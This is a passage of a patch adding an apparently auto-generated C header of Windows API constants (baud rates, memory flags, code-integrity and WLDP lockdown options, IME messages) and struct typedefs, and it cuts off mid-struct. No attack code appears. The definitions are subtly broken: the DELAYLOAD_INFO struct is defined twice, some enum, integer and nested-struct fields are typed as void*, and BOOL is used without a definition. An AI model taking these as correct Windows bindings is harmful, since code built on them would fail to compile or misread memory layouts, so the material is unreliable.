0x40 +#define BAUD_1800 0x80 +#define BAUD_2400 0x100 +#define BAUD_4800 0x200 +#define BAUD_7200 0x400 +#define BAUD_9600 0x800 +#define BAUD_14400 0x1000 +#define BAUD_19200 0x2000 +#define BAUD_38400 0x4000 +#define BAUD_56K 0x8000 +#define BAUD_128K 0x10000 +#define BAUD_115200 0x20000 +#define BAUD_57600 0x40000 +#define BAUD_USER 0x10000000 +#define COMMPROP_INITIALIZED 0xe73cf52e +#define DTR_CONTROL_DISABLE 0x0 +#define DTR_CONTROL_ENABLE 0x1 +#define DTR_CONTROL_HANDSHAKE 0x2 +#define RTS_CONTROL_DISABLE 0x0 +#define RTS_CONTROL_ENABLE 0x1 +#define RTS_CONTROL_HANDSHAKE 0x2 +#define RTS_CONTROL_TOGGLE 0x3 +#define GMEM_NOCOMPACT 0x10 +#define GMEM_NODISCARD 0x20 +#define GMEM_MODIFY 0x80 +#define GMEM_DISCARDABLE 0x100 +#define GMEM_NOT_BANKED 0x1000 +#define GMEM_SHARE 0x2000 +#define GMEM_DDESHARE 0x2000 +#define GMEM_NOTIFY 0x4000 +#define GMEM_LOWER 0x1000 +#define GMEM_VALID_FLAGS 0x7f72 +#define GMEM_INVALID_HANDLE 0x8000 +#define GMEM_DISCARDED 0x4000 +#define GMEM_LOCKCOUNT 0xff +#define THREAD_PRIORITY_ERROR_RETURN 0x7fffffff +#define DRIVE_UNKNOWN 0x0 +#define DRIVE_NO_ROOT_DIR 0x1 +#define DRIVE_REMOVABLE 0x2 +#define DRIVE_FIXED 0x3 +#define DRIVE_REMOTE 0x4 +#define DRIVE_CDROM 0x5 +#define DRIVE_RAMDISK 0x6 +#define IGNORE 0x0 +#define CBR_110 0x6e +#define CBR_300 0x12c +#define CBR_600 0x258 +#define CBR_1200 0x4b0 +#define CBR_2400 0x960 +#define CBR_4800 0x12c0 +#define CBR_9600 0x2580 +#define CBR_14400 0x3840 +#define CBR_19200 0x4b00 +#define CBR_38400 0x9600 +#define CBR_56000 0xdac0 +#define CBR_57600 0xe100 +#define CBR_115200 0x1c200 +#define CBR_128000 0x1f400 +#define CBR_256000 0x3e800 +#define CE_TXFULL 0x100 +#define CE_PTO 0x200 +#define CE_IOE 0x400 +#define CE_DNS 0x800 +#define CE_OOP 0x1000 +#define CE_MODE 0x8000 +#define IE_BADID -1 +#define IE_OPEN -2 +#define IE_NOPEN -3 +#define IE_MEMORY -4 +#define IE_DEFAULT -5 +#define IE_HARDWARE -10 +#define IE_BYTESIZE -11 +#define IE_BAUDRATE -12 +#define RESETDEV 0x7 +#define LPTx 0x80 +#define S_QUEUEEMPTY 0x0 +#define S_THRESHOLD 0x1 +#define S_ALLTHRESHOLD 0x2 +#define S_NORMAL 0x0 +#define S_LEGATO 0x1 +#define S_STACCATO 0x2 +#define S_PERIOD512 0x0 +#define S_PERIOD1024 0x1 +#define S_PERIOD2048 0x2 +#define S_PERIODVOICE 0x3 +#define S_WHITE512 0x4 +#define S_WHITE1024 0x5 +#define S_WHITE2048 0x6 +#define S_WHITEVOICE 0x7 +#define S_SERDVNA -1 +#define S_SEROFM -2 +#define S_SERMACT -3 +#define S_SERQFUL -4 +#define S_SERBDNT -5 +#define S_SERDLN -6 +#define S_SERDCC -7 +#define S_SERDTP -8 +#define S_SERDVL -9 +#define S_SERDMD -10 +#define S_SERDSH -11 +#define S_SERDPT -12 +#define S_SERDFQ -13 +#define S_SERDDR -14 +#define S_SERDSR -15 +#define S_SERDST -16 +#define FS_CASE_IS_PRESERVED 0x2 +#define FS_CASE_SENSITIVE 0x1 +#define FS_UNICODE_STORED_ON_DISK 0x4 +#define FS_PERSISTENT_ACLS 0x8 +#define FS_VOL_IS_COMPRESSED 0x8000 +#define FS_FILE_COMPRESSION 0x10 +#define FS_FILE_ENCRYPTION 0x20000 +#define OFS_MAXPATHNAME 0x80 +#define MAXINTATOM 0xc000 +#define SCS_32BIT_BINARY 0x0 +#define SCS_DOS_BINARY 0x1 +#define SCS_WOW_BINARY 0x2 +#define SCS_PIF_BINARY 0x3 +#define SCS_POSIX_BINARY 0x4 +#define SCS_OS216_BINARY 0x5 +#define SCS_64BIT_BINARY 0x6 +#define SCS_THIS_PLATFORM_BINARY 0x6 +#define FIBER_FLAG_FLOAT_SWITCH 0x1 +#define UMS_VERSION 0x100 +#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 +#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 +#define CRITICAL_SECTION_NO_DEBUG_INFO 0x1000000 +#define HINSTANCE_ERROR 0x20 +#define FORMAT_MESSAGE_MAX_WIDTH_MASK 0xff +#define FILE_ENCRYPTABLE 0x0 +#define FILE_IS_ENCRYPTED 0x1 +#define FILE_SYSTEM_ATTR 0x2 +#define FILE_ROOT_DIR 0x3 +#define FILE_SYSTEM_DIR 0x4 +#define FILE_UNKNOWN 0x5 +#define FILE_SYSTEM_NOT_SUPPORT 0x6 +#define FILE_USER_DISALLOWED 0x7 +#define FILE_READ_ONLY 0x8 +#define FILE_DIR_DISALLOWED 0x9 +#define EFS_USE_RECOVERY_KEYS 0x1 +#define CREATE_FOR_IMPORT 0x1 +#define CREATE_FOR_DIR 0x2 +#define OVERWRITE_HIDDEN 0x4 +#define EFSRPC_SECURE_ONLY 0x8 +#define EFS_DROP_ALTERNATE_STREAMS 0x10 +#define BACKUP_INVALID 0x0 +#define BACKUP_GHOSTED_FILE_EXTENTS 0xb +#define STREAM_NORMAL_ATTRIBUTE 0x0 +#define STREAM_MODIFIED_WHEN_READ 0x1 +#define STREAM_CONTAINS_SECURITY 0x2 +#define STREAM_CONTAINS_PROPERTIES 0x4 +#define STREAM_SPARSE_ATTRIBUTE 0x8 +#define STREAM_CONTAINS_GHOSTED_FILE_EXTENTS 0x10 +#define STARTF_HOLOGRAPHIC 0x40000 +#define SHUTDOWN_NORETRY 0x1 +#define PROTECTION_LEVEL_SAME 0xffffffff +#define ATOM_FLAG_GLOBAL 0x2 +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_A_T: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_W_T: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_A: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_W: non-integer constant +// SKIPPED const GET_SYSTEM_WOW64_DIRECTORY_NAME_T_T: non-integer constant +#define BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE 0x1 +#define BASE_SEARCH_PATH_DISABLE_SAFE_SEARCHMODE 0x10000 +#define BASE_SEARCH_PATH_PERMANENT 0x8000 +#define EVENTLOG_FULL_INFO 0x0 +#define OPERATION_API_VERSION 0x1 +#define MAX_COMPUTERNAME_LENGTH 0xf +#define LOGON32_PROVIDER_WINNT35 0x1 +#define LOGON32_PROVIDER_VIRTUAL 0x4 +#define LOGON_ZERO_PASSWORD_BUFFER 0x80000000 +#define HW_PROFILE_GUIDLEN 0x27 +#define DOCKINFO_UNDOCKED 0x1 +#define DOCKINFO_DOCKED 0x2 +#define DOCKINFO_USER_SUPPLIED 0x4 +#define TC_NORMAL 0x0 +#define TC_HARDERR 0x1 +#define TC_GP_TRAP 0x2 +#define TC_SIGNAL 0x3 +#define AC_LINE_OFFLINE 0x0 +#define AC_LINE_ONLINE 0x1 +#define AC_LINE_BACKUP_POWER 0x2 +#define AC_LINE_UNKNOWN 0xff +#define BATTERY_FLAG_HIGH 0x1 +#define BATTERY_FLAG_LOW 0x2 +#define BATTERY_FLAG_CRITICAL 0x4 +#define BATTERY_FLAG_CHARGING 0x8 +#define BATTERY_FLAG_NO_BATTERY 0x80 +#define BATTERY_FLAG_UNKNOWN 0xff +#define BATTERY_PERCENTAGE_UNKNOWN 0xff +#define SYSTEM_STATUS_FLAG_POWER_SAVING_ON 0x1 +#define BATTERY_LIFE_UNKNOWN 0xffffffff +#define ACTCTX_FLAG_PROCESSOR_ARCHITECTURE_VALID 0x1 +#define ACTCTX_FLAG_LANGID_VALID 0x2 +#define ACTCTX_FLAG_ASSEMBLY_DIRECTORY_VALID 0x4 +#define ACTCTX_FLAG_RESOURCE_NAME_VALID 0x8 +#define ACTCTX_FLAG_SET_PROCESS_DEFAULT 0x10 +#define ACTCTX_FLAG_APPLICATION_NAME_VALID 0x20 +#define ACTCTX_FLAG_SOURCE_IS_ASSEMBLYREF 0x40 +#define ACTCTX_FLAG_HMODULE_VALID 0x80 +#define DEACTIVATE_ACTCTX_FLAG_FORCE_EARLY_DEACTIVATION 0x1 +#define FIND_ACTCTX_SECTION_KEY_RETURN_HACTCTX 0x1 +#define FIND_ACTCTX_SECTION_KEY_RETURN_FLAGS 0x2 +#define FIND_ACTCTX_SECTION_KEY_RETURN_ASSEMBLY_METADATA 0x4 +#define ACTIVATION_CONTEXT_BASIC_INFORMATION_DEFINED 0x1 +#define QUERY_ACTCTX_FLAG_USE_ACTIVE_ACTCTX 0x4 +#define QUERY_ACTCTX_FLAG_ACTCTX_IS_HMODULE 0x8 +#define QUERY_ACTCTX_FLAG_ACTCTX_IS_ADDRESS 0x10 +#define QUERY_ACTCTX_FLAG_NO_ADDREF 0x80000000 +#define RESTART_MAX_CMD_LINE 0x400 +#define RECOVERY_DEFAULT_PING_INTERVAL 0x1388 +#define FILE_RENAME_FLAG_REPLACE_IF_EXISTS 0x1 +#define FILE_RENAME_FLAG_POSIX_SEMANTICS 0x2 +#define FILE_RENAME_FLAG_SUPPRESS_PIN_STATE_INHERITANCE 0x4 +#define STORAGE_INFO_FLAGS_ALIGNED_DEVICE 0x1 +#define STORAGE_INFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x2 +#define STORAGE_INFO_OFFSET_UNKNOWN 0xffffffff +#define REMOTE_PROTOCOL_INFO_FLAG_LOOPBACK 0x1 +#define REMOTE_PROTOCOL_INFO_FLAG_OFFLINE 0x2 +#define REMOTE_PROTOCOL_INFO_FLAG_PERSISTENT_HANDLE 0x4 +#define RPI_FLAG_SMB2_SHARECAP_TIMEWARP 0x2 +#define RPI_FLAG_SMB2_SHARECAP_DFS 0x8 +#define RPI_FLAG_SMB2_SHARECAP_CONTINUOUS_AVAILABILITY 0x10 +#define RPI_FLAG_SMB2_SHARECAP_SCALEOUT 0x20 +#define RPI_FLAG_SMB2_SHARECAP_CLUSTER 0x40 +#define RPI_SMB2_SHAREFLAG_ENCRYPT_DATA 0x1 +#define RPI_SMB2_SHAREFLAG_COMPRESS_DATA 0x2 +#define RPI_SMB2_FLAG_SERVERCAP_DFS 0x1 +#define RPI_SMB2_FLAG_SERVERCAP_LEASING 0x2 +#define RPI_SMB2_FLAG_SERVERCAP_LARGEMTU 0x4 +#define RPI_SMB2_FLAG_SERVERCAP_MULTICHANNEL 0x8 +#define RPI_SMB2_FLAG_SERVERCAP_PERSISTENT_HANDLES 0x10 +#define RPI_SMB2_FLAG_SERVERCAP_DIRECTORY_LEASING 0x20 +#define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0x0 +#define MICROSOFT_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0x0 +#define CODEINTEGRITY_OPTION_ENABLED 0x1 +#define CODEINTEGRITY_OPTION_TESTSIGN 0x2 +#define CODEINTEGRITY_OPTION_UMCI_ENABLED 0x4 +#define CODEINTEGRITY_OPTION_UMCI_AUDITMODE_ENABLED 0x8 +#define CODEINTEGRITY_OPTION_UMCI_EXCLUSIONPATHS_ENABLED 0x10 +#define CODEINTEGRITY_OPTION_TEST_BUILD 0x20 +#define CODEINTEGRITY_OPTION_PREPRODUCTION_BUILD 0x40 +#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x80 +#define CODEINTEGRITY_OPTION_FLIGHT_BUILD 0x100 +#define CODEINTEGRITY_OPTION_FLIGHTING_ENABLED 0x200 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x400 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_AUDITMODE_ENABLED 0x800 +#define CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED 0x1000 +#define CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED 0x2000 +#define FILE_MAXIMUM_DISPOSITION 0x5 +#define FILE_OPEN_REMOTE_INSTANCE 0x400 +#define FILE_NO_COMPRESSION 0x8000 +#define FILE_OPEN_NO_RECALL 0x400000 +#define FILE_VALID_OPTION_FLAGS 0xffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x32 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x32 +#define FILE_VALID_SET_FLAGS 0x36 +#define FILE_SUPERSEDED 0x0 +#define FILE_OPENED 0x1 +#define FILE_CREATED 0x2 +#define FILE_OVERWRITTEN 0x3 +#define FILE_EXISTS 0x4 +#define FILE_DOES_NOT_EXIST 0x5 +#define WINWATCHNOTIFY_START 0x0 +#define WINWATCHNOTIFY_STOP 0x1 +#define WINWATCHNOTIFY_DESTROY 0x2 +#define WINWATCHNOTIFY_CHANGING 0x3 +#define WINWATCHNOTIFY_CHANGED 0x4 +#define RSC_FLAG_INF 0x1 +#define RSC_FLAG_SKIPDISKSPACECHECK 0x2 +#define RSC_FLAG_QUIET 0x4 +#define RSC_FLAG_NGCONV 0x8 +#define RSC_FLAG_UPDHLPDLLS 0x10 +#define RSC_FLAG_DELAYREGISTEROCX 0x200 +#define RSC_FLAG_SETUPAPI 0x400 +#define ALINF_QUIET 0x4 +#define ALINF_NGCONV 0x8 +#define ALINF_UPDHLPDLLS 0x10 +#define ALINF_BKINSTALL 0x20 +#define ALINF_ROLLBACK 0x40 +#define ALINF_CHECKBKDATA 0x80 +#define ALINF_ROLLBKDOALL 0x100 +#define ALINF_DELAYREGISTEROCX 0x200 +#define AIF_WARNIFSKIP 0x1 +#define AIF_NOSKIP 0x2 +#define AIF_NOVERSIONCHECK 0x4 +#define AIF_FORCE_FILE_IN_USE 0x8 +#define AIF_NOOVERWRITE 0x10 +#define AIF_NO_VERSION_DIALOG 0x20 +#define AIF_REPLACEONLY 0x400 +#define AIF_NOLANGUAGECHECK 0x10000000 +#define AIF_QUIET 0x20000000 +#define IE4_RESTORE 0x1 +#define IE4_BACKNEW 0x2 +#define IE4_NODELETENEW 0x4 +#define IE4_NOMESSAGES 0x8 +#define IE4_NOPROGRESS 0x10 +#define IE4_NOENUMKEY 0x20 +#define IE4_NO_CRC_MAPPING 0x40 +#define IE4_REGSECTION 0x80 +#define IE4_FRDOALL 0x100 +#define IE4_UPDREFCNT 0x200 +#define IE4_USEREFCNT 0x400 +#define IE4_EXTRAINCREFCNT 0x800 +#define IE4_REMOVREGBKDATA 0x1000 +#define ARSR_RESTORE 0x1 +#define ARSR_NOMESSAGES 0x8 +#define ARSR_REGSECTION 0x80 +#define ARSR_REMOVREGBKDATA 0x1000 +// SKIPPED const REG_SAVE_LOG_KEY: non-integer constant +// SKIPPED const REG_RESTORE_LOG_KEY: non-integer constant +#define AFSR_RESTORE 0x1 +#define AFSR_BACKNEW 0x2 +#define AFSR_NODELETENEW 0x4 +#define AFSR_NOMESSAGES 0x8 +#define AFSR_NOPROGRESS 0x10 +#define AFSR_UPDREFCNT 0x200 +#define AFSR_USEREFCNT 0x400 +#define AFSR_EXTRAINCREFCNT 0x800 +#define AADBE_ADD_ENTRY 0x1 +#define AADBE_DEL_ENTRY 0x2 +#define ADN_DEL_IF_EMPTY 0x1 +#define ADN_DONT_DEL_SUBDIRS 0x2 +#define ADN_DONT_DEL_DIR 0x4 +#define ADN_DEL_UNC_PATHS 0x8 +#define LIS_QUIET 0x1 +#define LIS_NOGRPCONV 0x2 +#define RUNCMDS_QUIET 0x1 +#define RUNCMDS_NOWAIT 0x2 +#define RUNCMDS_DELAYPOSTCMD 0x4 +#define IME_MAXPROCESS 0x20 +#define CP_HWND 0x0 +#define CP_OPEN 0x1 +#define CP_DIRECT 0x2 +#define CP_LEVEL 0x3 +#define MCW_DEFAULT 0x0 +#define MCW_RECT 0x1 +#define MCW_WINDOW 0x2 +#define MCW_SCREEN 0x4 +#define MCW_VERTICAL 0x8 +#define MCW_HIDDEN 0x10 +#define IME_MODE_ALPHANUMERIC 0x1 +#define IME_MODE_SBCSCHAR 0x2 +#define IME_MODE_KATAKANA 0x2 +#define IME_MODE_HIRAGANA 0x4 +#define IME_MODE_HANJACONVERT 0x4 +#define IME_MODE_DBCSCHAR 0x10 +#define IME_MODE_ROMAN 0x20 +#define IME_MODE_NOROMAN 0x40 +#define IME_MODE_CODEINPUT 0x80 +#define IME_MODE_NOCODEINPUT 0x100 +#define IME_GETIMECAPS 0x3 +#define IME_SETOPEN 0x4 +#define IME_GETOPEN 0x5 +#define IME_GETVERSION 0x7 +#define IME_SETCONVERSIONWINDOW 0x8 +#define IME_MOVEIMEWINDOW 0x8 +#define IME_SETCONVERSIONMODE 0x10 +#define IME_GETCONVERSIONMODE 0x11 +#define IME_SET_MODE 0x12 +#define IME_SENDVKEY 0x13 +#define IME_ENTERWORDREGISTERMODE 0x18 +#define IME_SETCONVERSIONFONTEX 0x19 +#define IME_BANJAtoJUNJA 0x13 +#define IME_JUNJAtoBANJA 0x14 +#define IME_JOHABtoKS 0x15 +#define IME_KStoJOHAB 0x16 +#define IMEA_INIT 0x1 +#define IMEA_NEXT 0x2 +#define IMEA_PREV 0x3 +#define IME_REQUEST_CONVERT 0x1 +#define IME_ENABLE_CONVERT 0x2 +#define INTERIM_WINDOW 0x0 +#define MODE_WINDOW 0x1 +#define HANJA_WINDOW 0x2 +#define IME_RS_ERROR 0x1 +#define IME_RS_NOIME 0x2 +#define IME_RS_TOOLONG 0x5 +#define IME_RS_ILLEGAL 0x6 +#define IME_RS_NOTFOUND 0x7 +#define IME_RS_NOROOM 0xa +#define IME_RS_DISKERROR 0xe +#define IME_RS_INVALID 0x11 +#define IME_RS_NEST 0x12 +#define IME_RS_SYSTEMMODAL 0x13 +#define WM_IME_REPORT 0x280 +#define IR_STRINGSTART 0x100 +#define IR_STRINGEND 0x101 +#define IR_OPENCONVERT 0x120 +#define IR_CHANGECONVERT 0x121 +#define IR_CLOSECONVERT 0x122 +#define IR_FULLCONVERT 0x123 +#define IR_IMESELECT 0x130 +#define IR_STRING 0x140 +#define IR_DBCSCHAR 0x160 +#define IR_UNDETERMINE 0x170 +#define IR_STRINGEX 0x180 +#define IR_MODEINFO 0x190 +#define WM_WNT_CONVERTREQUESTEX 0x109 +#define WM_CONVERTREQUEST 0x10a +#define WM_CONVERTRESULT 0x10b +#define WM_INTERIM 0x10c +#define WM_IMEKEYDOWN 0x290 +#define WM_IMEKEYUP 0x291 +#define DELAYLOAD_GPA_FAILURE 0x4 +#define DELETE_BROWSING_HISTORY_HISTORY 0x1 +#define DELETE_BROWSING_HISTORY_COOKIES 0x2 +#define DELETE_BROWSING_HISTORY_TIF 0x4 +#define DELETE_BROWSING_HISTORY_FORMDATA 0x8 +#define DELETE_BROWSING_HISTORY_PASSWORDS 0x10 +#define DELETE_BROWSING_HISTORY_PRESERVEFAVORITES 0x20 +#define DELETE_BROWSING_HISTORY_DOWNLOADHISTORY 0x40 +#define WLDP_EXECUTION_POLICY_BLOCKED 0 +#define WLDP_EXECUTION_POLICY_ALLOWED 1 +#define WLDP_EXECUTION_POLICY_REQUIRE_SANDBOX 2 +#define WLDP_HOST_RUNDLL32 0 +#define WLDP_HOST_SVCHOST 1 +#define WLDP_HOST_MAX 2 +#define Mp4 0 +#define Wmv 1 +#define FEATURE_ENABLED_STATE_DEFAULT 0 +#define FEATURE_ENABLED_STATE_DISABLED 1 +#define FEATURE_ENABLED_STATE_ENABLED 2 +#define WLDP_EXECUTION_EVALUATION_OPTION_NONE 0 +#define WLDP_EXECUTION_EVALUATION_OPTION_EXECUTE_IN_INTERACTIVE_SESSION 1 +#define GENERIC_ENTITY 0x0 +#define AT_ENTITY 0x280 +#define CL_NL_ENTITY 0x301 +#define CO_NL_ENTITY 0x300 +#define CL_TL_ENTITY 0x401 +#define CO_TL_ENTITY 0x400 +#define ER_ENTITY 0x380 +#define IF_ENTITY 0x200 +#define WLDP_POLICY_SETTING_AV_PERF_MODE 1000 +#define WLDP_HOST_ID_UNKNOWN 0 +#define WLDP_HOST_ID_GLOBAL 1 +#define WLDP_HOST_ID_VBA 2 +#define WLDP_HOST_ID_WSH 3 +#define WLDP_HOST_ID_POWERSHELL 4 +#define WLDP_HOST_ID_IE 5 +#define WLDP_HOST_ID_MSI 6 +#define WLDP_HOST_ID_ALL 7 +#define WLDP_HOST_ID_MAX 8 +#define WinStationInformation 8 +#define EndpointIoControlType 0 +#define SetSockOptIoControlType 1 +#define GetSockOptIoControlType 2 +#define SocketIoControlType 3 +#define FEATURE_CHANGE_TIME_READ 0 +#define FEATURE_CHANGE_TIME_MODULE_RELOAD 1 +#define FEATURE_CHANGE_TIME_SESSION 2 +#define FEATURE_CHANGE_TIME_REBOOT 3 +#define Single 0 +#define Multiple 1 +#define DECISION_LOCATION_REFRESH_GLOBAL_DATA 0 +#define DECISION_LOCATION_PARAMETER_VALIDATION 1 +#define DECISION_LOCATION_AUDIT 2 +#define DECISION_LOCATION_FAILED_CONVERT_GUID 3 +#define DECISION_LOCATION_ENTERPRISE_DEFINED_CLASS_ID 4 +#define DECISION_LOCATION_GLOBAL_BUILT_IN_LIST 5 +#define DECISION_LOCATION_PROVIDER_BUILT_IN_LIST 6 +#define DECISION_LOCATION_ENFORCE_STATE_LIST 7 +#define DECISION_LOCATION_NOT_FOUND 8 +#define DECISION_LOCATION_UNKNOWN 9 +#define Browse 0 +#define Linear 1 +#define PhotoOrVideo 0 +#define Photo 1 +#define Video 2 +#define VALUENAME_UNKNOWN 0 +#define VALUENAME_ENTERPRISE_DEFINED_CLASS_ID 1 +#define VALUENAME_BUILT_IN_LIST 2 +#define WLDP_WINDOWS_LOCKDOWN_MODE_UNLOCKED 0 +#define WLDP_WINDOWS_LOCKDOWN_MODE_TRIAL 1 +#define WLDP_WINDOWS_LOCKDOWN_MODE_LOCKED 2 +#define WLDP_WINDOWS_LOCKDOWN_MODE_MAX 3 +#define SingleItem 0 +#define ItemList 1 +#define KEY_UNKNOWN 0 +#define KEY_OVERRIDE 1 +#define KEY_ALL_KEYS 2 +#define WLDP_SECURE_SETTING_VALUE_TYPE_BOOLEAN 0 +#define WLDP_SECURE_SETTING_VALUE_TYPE_ULONG 1 +#define WLDP_SECURE_SETTING_VALUE_TYPE_BINARY 2 +#define WLDP_SECURE_SETTING_VALUE_TYPE_STRING 3 +#define Jpeg 0 +#define Png 1 +#define JpegXR 2 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NONE 0 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NOUNLOCK 1 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_NOUNLOCK_PERMANENT 2 +#define WLDP_WINDOWS_LOCKDOWN_RESTRICTION_MAX 3 + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX_W2K { + void* ID; + unsigned char Context[16]; +} TCP_REQUEST_QUERY_INFORMATION_EX_W2K; + +typedef struct _ACTIVATION_CONTEXT_BASIC_INFORMATION { + void* hActCtx; + unsigned int dwFlags; +} ACTIVATION_CONTEXT_BASIC_INFORMATION; + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX32_XP { + void* ID; + unsigned int Context[4]; +} TCP_REQUEST_QUERY_INFORMATION_EX32_XP; + +typedef struct _LDR_DATA_TABLE_ENTRY { + void* Reserved1[2]; + void* InMemoryOrderLinks; + void* Reserved2[2]; + void* DllBase; + void* Reserved3[2]; + void* FullDllName; + unsigned char Reserved4[8]; + void* Reserved5[3]; + void* Anonymous; + unsigned int TimeDateStamp; +} LDR_DATA_TABLE_ENTRY; + +typedef struct _SYSTEM_CODEINTEGRITY_INFORMATION { + unsigned int Length; + unsigned int CodeIntegrityOptions; +} SYSTEM_CODEINTEGRITY_INFORMATION; + +typedef struct _TCP_REQUEST_QUERY_INFORMATION_EX_XP { + void* ID; + unsigned long long Context[4]; +} TCP_REQUEST_QUERY_INFORMATION_EX_XP; + +typedef struct _DELAYLOAD_PROC_DESCRIPTOR { + unsigned int ImportDescribedByName; + void* Description; +} DELAYLOAD_PROC_DESCRIPTOR; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + long long IdleTime; + long long KernelTime; + long long UserTime; + long long Reserved1[2]; + unsigned int Reserved2; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_HANDLECOUNT_INFORMATION { + unsigned int ProcessCount; + unsigned int ThreadCount; + unsigned int HandleCount; +} SYSTEM_HANDLECOUNT_INFORMATION; + +typedef struct _TDIObjectID { + void* toi_entity; + unsigned int toi_class; + unsigned int toi_type; + unsigned int toi_id; +} TDIObjectID; + +typedef struct _IMAGE_THUNK_DATA64 { + void* u1; +} IMAGE_THUNK_DATA64; + +typedef struct _DCICREATEINPUT { + void* cmd; + unsigned int dwCompression; + unsigned int dwMask[3]; + unsigned int dwWidth; + unsigned int dwHeight; + unsigned int dwDCICaps; + unsigned int dwBitCount; + void* lpSurface; +} DCICREATEINPUT; + +typedef struct _HW_PROFILE_INFOW { + unsigned int dwDockInfo; + unsigned short szHwProfileGuid[39]; + unsigned short szHwProfileName[80]; +} HW_PROFILE_INFOW; + +typedef struct _CLIENT_ID { + void* UniqueProcess; + void* UniqueThread; +} CLIENT_ID; + +typedef struct _WLDP_DEVICE_SECURITY_INFORMATION { + unsigned int UnlockIdSize; + void* UnlockId; + unsigned int ManufacturerIDLength; + void* ManufacturerID; +} WLDP_DEVICE_SECURITY_INFORMATION; + +typedef struct _IMAGE_THUNK_DATA32 { + void* u1; +} IMAGE_THUNK_DATA32; + +// SKIPPED struct EditionUpgradeHelper: no representable fields +typedef struct _TDIEntityID { + void* tei_entity; + unsigned int tei_instance; +} TDIEntityID; + +typedef struct _CABINFOW { + void* pszCab; + void* pszInf; + void* pszSection; + unsigned short szSrcPath[260]; + unsigned int dwFlags; +} CABINFOW; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + unsigned char Reserved1[32]; +} SYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _DCICMD { + unsigned int dwCommand; + unsigned int dwParam1; + unsigned int dwParam2; + unsigned int dwVersion; + unsigned int dwReserved; +} DCICMD; + +typedef struct _PERUSERSECTIONA { + unsigned char szGUID[59]; + unsigned char szDispName[128]; + unsigned char szLocale[10]; + unsigned char szStub[1040]; + unsigned char szVersion[32]; + unsigned char szCompID[128]; + unsigned int dwIsInstalled; + BOOL bRollback; +} PERUSERSECTIONA; + +typedef struct _WLDP_HOST_INFORMATION { + unsigned int dwRevision; + void* dwHostId; + void* szSource; + void* hSource; +} WLDP_HOST_INFORMATION; + +typedef struct _STRENTRYW { + void* pszName; + void* pszValue; +} STRENTRYW; + +// SKIPPED struct CameraUIControl: no representable fields +typedef struct _SYSTEM_BASICPROCESS_INFORMATION { + unsigned int NextEntryOffset; + void* UniqueProcessId; + void* InheritedFromUniqueProcessId; + unsigned long long SequenceNumber; + void* ImageName; +} SYSTEM_BASICPROCESS_INFORMATION; + +typedef struct _STRINGEXSTRUCT { + unsigned int dwSize; + unsigned int uDeterminePos; + unsigned int uDetermineDelimPos; + unsigned int uYomiPos; + unsigned int uYomiDelimPos; +} STRINGEXSTRUCT; + +typedef struct _DELAYLOAD_INFO { + unsigned int Size; + void* DelayloadDescriptor; + void* ThunkAddress; + void* TargetDllName; + void* TargetApiDescriptor; + void* TargetModuleBase; + void* Unused; + unsigned int LastError; +} DELAYLOAD_INFO; + +typedef struct _DELAYLOAD_INFO { + unsigned int Size; + void* DelayloadDescriptor; + void* ThunkAddress; + void* TargetDllName; + void* TargetApiDescriptor; + void* TargetModuleBase; + void* Unused; + unsigned int LastError; +} DELAYLOAD_INFO; + +typedef struct _STRTABLEA { + unsigned int cEntries; + void* pse; +} STRTABLEA; + +// SKIPPED struct DefaultBrowserSyncSettings: no representable fields +typedef struct _IMEPROW { + void* hWnd; + void* InstDate; + unsigned int wVersion; + unsigned short szDescription[50]; + unsigned short szName[80]; + unsigned short szOptions[30]; +} IMEPROW; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + unsigned char Reserved1[24]; +} SYSTEM_INTERRUPT_INFORMATION; + +typedef struct _PROCESS_CREATION_SVE_VECTOR_LENGTH { + unsigned int Data; + void* Anonymous; +} PROCESS_CREATION_SVE_VECTOR_LENGTH; + +typedef struct _ACTCTX_SECTION_KEYED_DATA_2600 { + unsigned int cbSize; + unsigned int ulDataFormatVersion; + void* lpData; + unsigned int ulLength; + void* lpSectionGlobalData; + unsigned int ulSectionGlobalDataLength; + void* lpSectionBase; + unsigned int ulSectionTotalLength; + void* hActCtx; + unsigned int ulAssemblyRosterIndex; +} ACTCTX_SECTION_KEYED_DATA_2600; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + unsigned int NextEntryOffset; + unsigned int NumberOfThreads; + unsigned char Reserved1[48]; + void* ImageName; + int BasePriority; + void* UniqueProcessId; + void* Reserved2; + unsigned int HandleCount; + unsigned int SessionId; + void* Reserved3; + unsigned long long PeakVirtualSize; + unsigned long long VirtualSize; + unsigned int Reserved4; + unsigned long long 